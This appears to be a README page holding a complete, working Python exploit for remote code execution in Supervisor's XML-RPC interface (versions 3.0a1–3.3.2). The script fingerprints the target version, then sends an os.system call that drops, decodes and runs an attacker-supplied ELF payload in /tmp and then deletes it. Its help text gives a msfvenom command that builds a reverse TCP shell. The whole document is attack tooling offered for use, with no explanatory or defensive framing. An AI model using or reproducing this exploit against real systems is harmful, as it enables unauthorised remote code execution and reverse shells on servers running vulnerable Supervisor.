README.md
Rendering markdown...
#!/usr/bin/env python3
import sys
import random
import string
import base64
import requests
from distutils.version import StrictVersion
import re
import argparse
hdrs = {
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Content-Type': 'text/xml',
'Accept': 'text/xml'
}
def randomString(length):
return (''.join(random.choice(string.ascii_letters) for m in range(length)))
def check_version(version):
if StrictVersion(version) <= StrictVersion('3.3.2') and StrictVersion(version) >= StrictVersion('3.0a1'):
return True
else:
return False
def check(URL):
print('Extracting version from web interface..')
try:
res = requests.get(URL,headers=hdrs)
except requests.exceptions.ConnectionError:
print('Error connecting to web interface')
return False
if res.status_code == 200:
match = re.search('<span>(?P<version>\d+\.[\dab]\.\d+)<\/span>',res.text)
if match:
version = match.group('version')
if check_version(version):
print(f"Vulnerable version found: {version}")
return True
else:
print(f"Version {version} is not vulnerable")
return False
else:
print('Could not extract version number from web interface')
return False
elif res.status_code == 401:
print(f"Authentication failed: {res.status_code} response")
return False
else:
print(f"Unexpected HTTP code: {res.status_code} response")
return False
def check_payload(path):
try:
f = open(path,'rb')
f.close()
return True
except IOError:
print('Payload file not found, exiting...')
return False
def main(rhost,rport,rpcpath,payload):
url = 'http://' + rhost + ':' + str(rport) + rpcpath
# Check that payload exists and Supervisor version is vulnerable
if not check_payload(payload):
sys.exit(1)
if not check('http://' + rhost + ':' + str(rport)):
sys.exit(1)
# Read ELF payload
f = open(payload,'rb')
payload1 = f.read()
f.close()
payload1_64 = base64.b64encode(payload1)
# Random binary and b64 encoded binary for stager
p_load64 = randomString(3 + random.randrange(3)) + '.' + 'b64'
p_load = randomString(3 + random.randrange(3))
# Note that unlike in bash we don't have to escape $
# Also the f-string works only from Python 3.6
cmd_stager = "echo -n " + payload1_64.decode('utf-8') + f""">>'/tmp/{p_load64}' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/{p_load}' < '/tmp/{p_load64}' ; chmod +x '/tmp/{p_load}' ; '/tmp/{p_load}' ; rm -f '/tmp/{p_load}' ; rm -f '/tmp/{p_load64}'"""
# Base64 encode the cmd_stager itself and pass it to the XML input
payload2_64 = base64.b64encode(cmd_stager.encode()).decode('utf-8')
xml_body = f"""<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>echo -n {payload2_64}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
</param>
</params>
</methodCall>"""
try:
print(f"Sending XML-RPC payload via POST to {rhost}:{rport}{rpcpath}")
res = requests.post(url,data=xml_body,headers=hdrs)
except requests.exceptions.ConnectionError:
print(f"Cannot connect to {rhost}:{rport}{rpcpath}")
sys.exit(1)
if res.status_code == 401:
print(f"Authentication failed: {res.status_code} response")
elif res.status_code == 404:
print(f"Invalid XML-RPC endpoint: {res.status_code} response")
elif res.status_code == 200:
match = re.search('<value><int>(?P<response>[0-9]+)</int></value>',res.text)
if match:
response = match.group('response')
if response == '0':
print('Successful remote code execution')
else:
print('Something went wrong')
else:
print(f"Unexpected HTTP code: {res.status_code} response")
return 0
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Generate the payload first, eg: \nmsfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o dir/payload.elf",epilog="Call the exploit like this: \n ./exploit.py -rhost 192.168.92.153 -rport 9001 -rpcpath /RPC2 -payload dir/payload.elf", formatter_class=argparse.RawTextHelpFormatter)
parser._action_groups.pop()
required = parser.add_argument_group('Required arguments')
optional = parser.add_argument_group('Optional arguments')
required.add_argument('-rhost',help='Target host running Supervisor eg. 192.168.92.153',required=True)
optional.add_argument('-rport',default=9001,help='Target port running Supervisor. Default: 9001')
required.add_argument('-payload',help='Path to the ELF payload. eg dir/payload.elf',required=True)
optional.add_argument('-rpcpath',default='/RPC2',help='Path to the XML-RPC endpoint on Supervisor. Default: \'/RPC2\' as in http://192.168.92.153:9001/RPC2')
args = parser.parse_args()
main(args.rhost,args.rport,args.rpcpath,args.payload)